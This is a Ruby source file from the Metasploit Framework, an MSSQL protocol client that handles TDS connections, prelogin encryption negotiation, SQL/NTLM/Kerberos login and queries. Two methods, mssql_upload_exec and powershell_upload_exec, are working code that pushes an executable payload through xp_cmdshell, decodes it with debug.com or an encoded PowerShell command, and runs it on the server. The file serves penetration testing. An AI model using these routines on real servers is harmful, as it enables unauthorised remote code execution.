Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/proto/mssql/client.rb
27885 views
1
require 'metasploit/framework/tcp/client'
2
require 'rex/proto/mssql/client_mixin'
3
require 'rex/text'
4
require 'msf/core/exploit'
5
require 'msf/core/exploit/remote'
6
7
module Rex
8
module Proto
9
module MSSQL
10
class Client
11
include Metasploit::Framework::Tcp::Client
12
include Rex::Proto::MSSQL::ClientMixin
13
include Rex::Text
14
include Msf::Exploit::Remote::MSSQL_COMMANDS
15
include Msf::Exploit::Remote::Udp
16
include Msf::Exploit::Remote::NTLM::Client
17
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
18
include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options
19
20
attr_accessor :tdsencryption
21
attr_accessor :sock
22
attr_accessor :auth
23
attr_accessor :ssl
24
attr_accessor :ssl_version
25
attr_accessor :ssl_verify_mode
26
attr_accessor :ssl_cipher
27
# @!attribute sslkeylogfile
28
# @return [String] The SSL key log file path
29
attr_accessor :sslkeylogfile
30
attr_accessor :proxies
31
attr_accessor :connection_timeout
32
attr_accessor :send_lm
33
attr_accessor :send_ntlm
34
attr_accessor :send_spn
35
attr_accessor :use_lmkey
36
attr_accessor :use_ntlm2_session
37
attr_accessor :use_ntlmv2
38
attr_reader :framework_module
39
attr_reader :framework
40
# @!attribute max_send_size
41
# @return [Integer] The max size of the data to encapsulate in a single packet
42
attr_accessor :max_send_size
43
# @!attribute send_delay
44
# @return [Integer] The delay between sending packets
45
attr_accessor :send_delay
46
# @!attribute initial_connection_info
47
# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.
48
# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec
49
attr_accessor :initial_connection_info
50
# @!attribute current_database
51
# @return [String] The database name this client is currently connected to.
52
attr_accessor :current_database
53
54
def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil, sslkeylogfile: nil)
55
@framework_module = framework_module
56
@framework = framework
57
@connection_timeout = framework_module.datastore['ConnectTimeout'] || 30
58
@max_send_size = framework_module.datastore['TCP::max_send_size'] || 0
59
@send_delay = framework_module.datastore['TCP::send_delay'] || 0
60
61
@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO
62
@hostname = framework_module.datastore['Mssql::Rhostname'] || ''
63
64
@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false
65
@hex2binary = framework_module.datastore['HEX2BINARY'] || ''
66
67
@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''
68
@rhost = rhost
69
@rport = rport
70
@proxies = proxies
71
@sslkeylogfile = sslkeylogfile
72
@current_database = ''
73
@initial_connection_info = {errors: []}
74
end
75
76
def connect(global = true, opts={})
77
dossl = false
78
if(opts.has_key?('SSL'))
79
dossl = opts['SSL']
80
else
81
dossl = ssl
82
end
83
84
@mstds_channel = Rex::Proto::MsTds::Channel.new(
85
'PeerHost' => opts['RHOST'] || rhost,
86
'PeerHostname' => opts['SSLServerNameIndication'] || opts['RHOSTNAME'],
87
'PeerPort' => (opts['RPORT'] || rport).to_i,
88
'LocalHost' => opts['CHOST'] || chost || "0.0.0.0",
89
'LocalPort' => (opts['CPORT'] || cport || 0).to_i,
90
'SSL' => dossl,
91
'SSLVersion' => opts['SSLVersion'] || ssl_version,
92
'SSLVerifyMode' => opts['SSLVerifyMode'] || ssl_verify_mode,
93
'SSLKeyLogFile' => opts['SSLKeyLogFile'] || sslkeylogfile,
94
'SSLCipher' => opts['SSLCipher'] || ssl_cipher,
95
'Proxies' => proxies,
96
'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i,
97
'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }
98
)
99
nsock = @mstds_channel.lsock
100
# enable evasions on this socket
101
set_tcp_evasions(nsock)
102
103
# Set this socket to the global socket as necessary
104
self.sock = nsock if (global)
105
106
return nsock
107
end
108
109
# MS SQL Server only supports Windows and Linux
110
def map_compile_os_to_platform(server_info)
111
return '' if server_info.blank?
112
113
os_data = server_info.downcase.encode(::Encoding::BINARY)
114
115
if os_data.match?('linux')
116
platform = Msf::Platform::Linux.realname
117
elsif os_data.match?('windows')
118
platform = Msf::Platform::Windows.realname
119
elsif os_data.match?('win')
120
platform = Msf::Platform::Windows.realname
121
else
122
platform = os_data
123
end
124
platform
125
end
126
127
# MS SQL Server currently only supports 64 bit but older installs may be x86
128
def map_compile_arch_to_architecture(server_info)
129
return '' if server_info.blank?
130
131
arch_data = server_info.downcase.encode(::Encoding::BINARY)
132
133
if arch_data.match?('x64')
134
arch = ARCH_X86_64
135
elsif arch_data.match?('x86')
136
arch = ARCH_X86
137
elsif arch_data.match?('64')
138
arch = ARCH_X86_64
139
elsif arch_data.match?('32-bit')
140
arch = ARCH_X86
141
else
142
arch = arch_data
143
end
144
arch
145
end
146
147
# @return [Hash] Detect the platform and architecture of the MSSQL server:
148
# * :arch [String] The server architecture.
149
# * :platform [String] The server platform.
150
def detect_platform_and_arch
151
result = {}
152
153
version_string = query('select @@version')[:rows][0][0]
154
arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string
155
plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string
156
157
result[:arch] = map_compile_arch_to_architecture(arch)
158
result[:platform] = map_compile_os_to_platform(plat)
159
result
160
end
161
162
#
163
# This method connects to the server over TCP and attempts
164
# to authenticate with the supplied username and password
165
# The global socket is used and left connected after auth
166
#
167
168
def mssql_login(user='sa', pass='', db='', domain_name='')
169
case auth
170
when Msf::Exploit::Remote::AuthOption::AUTO
171
if domain_name.blank?
172
login_sql(user, pass, db, domain_name)
173
else
174
login_ntlm(user, pass, db, domain_name)
175
end
176
when Msf::Exploit::Remote::AuthOption::KERBEROS
177
login_kerberos(user, pass, db, domain_name)
178
when Msf::Exploit::Remote::AuthOption::NTLM
179
login_ntlm(user, pass, db, domain_name)
180
when Msf::Exploit::Remote::AuthOption::PLAINTEXT
181
login_sql(user, pass, db, domain_name)
182
end
183
end
184
185
#
186
#this method send a prelogin packet and check if encryption is off
187
#
188
def mssql_prelogin(enc_error=false)
189
disconnect if self.sock
190
connect
191
192
pkt = mssql_prelogin_packet
193
194
resp = mssql_send_recv(pkt)
195
196
idx = 0
197
data = parse_prelogin_response(resp)
198
199
unless data[:encryption]
200
framework_module.print_error("Unable to parse encryption req " \
201
"during pre-login, this may not be a MSSQL server")
202
data[:encryption] = ENCRYPT_NOT_SUP
203
end
204
205
##########################################################
206
# Our initial prelogin pkt above said we didnt support
207
# encryption (it's quicker and the default).
208
#
209
# Per the matrix on the following link, SQL Server will
210
# terminate the connection if it does require TLS,
211
# otherwise it will accept an unencrypted session. As
212
# part of this initial response packet, it also returns
213
# ENCRYPT_REQ.
214
#
215
# https://msdn.microsoft.com\
216
# /en-us/library/ee320519(v=sql.105).aspx
217
#
218
##########################################################
219
220
if data[:encryption] == ENCRYPT_REQ
221
# restart prelogin process except that we tell SQL Server
222
# than we are now able to encrypt
223
disconnect if self.sock
224
connect
225
226
# offset 35 is the flag - turn it on
227
pkt[35] = [ENCRYPT_ON].pack('C')
228
self.tdsencryption = true
229
framework_module.print_status("TLS encryption has " \
230
"been enabled based on server response.")
231
232
resp = mssql_send_recv(pkt)
233
data = parse_prelogin_response(resp)
234
235
unless data[:encryption]
236
framework_module.print_error("Unable to parse encryption req " \
237
"during pre-login, this may not be a MSSQL server")
238
data[:encryption] = ENCRYPT_NOT_SUP
239
end
240
end
241
data
242
end
243
244
def query(sqla, doprint=false, opts={})
245
info = { :sql => sqla }
246
opts[:timeout] ||= 15
247
pkts = []
248
idx = 0
249
250
bsize = 4096 - 8
251
chan = 0
252
253
@cnt ||= 0
254
@cnt += 1
255
256
sql = Rex::Text.to_unicode(sqla)
257
while(idx < sql.length)
258
buf = sql[idx, bsize]
259
flg = buf.length < bsize ? "\x01" : "\x00"
260
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
261
idx += bsize
262
263
end
264
265
resp = mssql_send_recv(pkts.join, opts[:timeout])
266
mssql_parse_reply(resp, info)
267
mssql_print_reply(info) if doprint
268
info
269
end
270
271
def mssql_upload_exec(exe, debug=false)
272
hex = exe.unpack("H*")[0]
273
274
var_bypass = Rex::Text.rand_text_alpha(8)
275
var_payload = Rex::Text.rand_text_alpha(8)
276
277
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
278
print_status("Writing the debug.com loader to the disk...")
279
h2b = File.read(@hex2binary, File.size(@hex2binary))
280
h2b.gsub!('KemneE3N', "%TEMP%\\#{var_bypass}")
281
h2b.split("\n").each do |line|
282
mssql_xpcmdshell("#{line}", false)
283
end
284
285
print_status("Converting the debug script to an executable...")
286
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
287
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
288
289
print_status("Uploading the payload, please be patient...")
290
idx = 0
291
cnt = 500
292
while(idx < hex.length - 1)
293
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
294
idx += cnt
295
end
296
297
print_status("Converting the encoded payload...")
298
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
299
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
300
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
301
302
print_status("Executing the payload...")
303
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
304
end
305
306
def powershell_upload_exec(exe, debug=false)
307
# hex converter
308
hex = exe.unpack("H*")[0]
309
# create random alpha 8 character names
310
#var_bypass = rand_text_alpha(8)
311
var_payload = rand_text_alpha(8)
312
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
313
# our payload converter, grabs a hex file and converts it to binary for us through powershell
314
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
315
h2b_unicode=Rex::Text.to_unicode(h2b)
316
# base64 encode it, this allows us to perform execution through powershell without registry changes
317
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
318
print_status("Uploading the payload #{var_payload}, please be patient...")
319
idx = 0
320
cnt = 500
321
while(idx < hex.length - 1)
322
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
323
idx += cnt
324
end
325
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
326
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
327
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
328
print_status("Executing the payload...")
329
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
330
print_status("Be sure to cleanup #{var_payload}.exe...")
331
end
332
333
# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.
334
# @return [Hash] Returns a hash of values if the provided type exists.
335
# @return [Hash] Returns the whole connection info if envchange is nil.
336
# @return [Hash] Returns an empty hash if the provided type is not present.
337
def initial_info_for_envchange(envchange: nil)
338
return self.initial_connection_info if envchange.nil?
339
return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))
340
341
self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}
342
end
343
344
def peerhost
345
rhost
346
end
347
348
def peerport
349
rport
350
end
351
352
def peerinfo
353
Rex::Socket.to_authority(peerhost, peerport)
354
end
355
356
protected
357
358
def rhost
359
@rhost
360
end
361
362
def rport
363
@rport
364
end
365
366
def chost
367
return nil
368
end
369
370
def cport
371
return nil
372
end
373
374
private
375
376
def login_kerberos(user, pass, db, domain_name)
377
prelogin_data = mssql_prelogin
378
379
framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?
380
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
381
host: @domain_controller_rhost,
382
hostname: @hostname,
383
mssql_port: rport,
384
proxies: proxies,
385
realm: domain_name,
386
username: user,
387
password: pass,
388
framework: framework,
389
framework_module: framework_module,
390
ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module)
391
)
392
393
kerberos_result = kerberos_authenticator.authenticate
394
395
pkt_hdr = MsTdsHeader.new(
396
packet_type: MsTdsType::TDS7_LOGIN,
397
packet_id: 1
398
)
399
400
pkt_body = MsTdsLogin7.new(
401
option_flags_2: {
402
f_int_security: 1
403
},
404
server_name: rhost,
405
database: db
406
)
407
408
pkt_body.sspi = kerberos_result[:security_blob].bytes
409
410
pkt_hdr.packet_length += pkt_body.num_bytes
411
pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s
412
413
@mstds_channel.starttls if tdsencryption == true
414
415
resp = mssql_send_recv(pkt)
416
417
info = {:errors => []}
418
info = mssql_parse_reply(resp, info)
419
self.initial_connection_info = info
420
self.initial_connection_info[:prelogin_data] = prelogin_data
421
422
return false if not info
423
424
info[:login_ack] ? true : false
425
end
426
427
def login_ntlm(user, pass, db, domain_name)
428
prelogin_data = mssql_prelogin
429
430
pkt_hdr = MsTdsHeader.new(
431
packet_type: MsTdsType::TDS7_LOGIN,
432
packet_id: 1
433
)
434
435
pkt_body = MsTdsLogin7.new(
436
option_flags_2: {
437
f_int_security: 1
438
},
439
server_name: rhost,
440
database: db
441
)
442
443
ntlm_client = ::Net::NTLM::Client.new(
444
user,
445
pass,
446
workstation: Rex::Text.rand_text_alpha(rand(1..8)),
447
domain: domain_name,
448
)
449
type1 = ntlm_client.init_context
450
# SQL 2012, at least, does not support KEY_EXCHANGE
451
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
452
453
pkt_body.sspi = type1.serialize.bytes
454
455
pkt_hdr.packet_length += pkt_body.num_bytes
456
pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s
457
458
@mstds_channel.starttls if tdsencryption == true
459
460
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
461
# has a strange behavior that differs from the specifications
462
# upon receiving the ntlm_negotiate request it send an ntlm_challenge but the status flag of the tds packet header
463
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
464
resp = mssql_send_recv(pkt, 15, false)
465
466
# Strip the TDS header
467
resp = resp[3..-1]
468
type3 = ntlm_client.init_context([resp].pack('m'))
469
type3_blob = type3.serialize
470
471
# Create an SSPIMessage
472
pkt_hdr = MsTdsHeader.new(
473
type: MsTdsType::SSPI_MESSAGE,
474
packet_id: 1
475
)
476
477
pkt_hdr.packet_length += type3_blob.length
478
pkt = pkt_hdr.to_binary_s + type3_blob
479
480
resp = mssql_send_recv(pkt)
481
482
info = {:errors => []}
483
info = mssql_parse_reply(resp, info)
484
self.initial_connection_info = info
485
self.initial_connection_info[:prelogin_data] = prelogin_data
486
487
return false if not info
488
info[:login_ack] ? true : false
489
end
490
491
def login_sql(user, pass, db, _domain_name)
492
prelogin_data = mssql_prelogin
493
494
pkt_hdr = MsTdsHeader.new(
495
packet_type: MsTdsType::TDS7_LOGIN,
496
packet_id: 1
497
)
498
499
pkt_body = MsTdsLogin7.new(
500
server_name: rhost,
501
database: db,
502
username: user,
503
password: pass
504
)
505
506
pkt_hdr.packet_length += pkt_body.num_bytes
507
pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s
508
509
@mstds_channel.starttls if tdsencryption
510
511
resp = mssql_send_recv(pkt)
512
513
info = {:errors => []}
514
info = mssql_parse_reply(resp, info)
515
self.initial_connection_info = info
516
self.initial_connection_info[:prelogin_data] = prelogin_data
517
518
return false if not info
519
info[:login_ack] ? true : false
520
end
521
end
522
523
end
524
end
525
end
526
527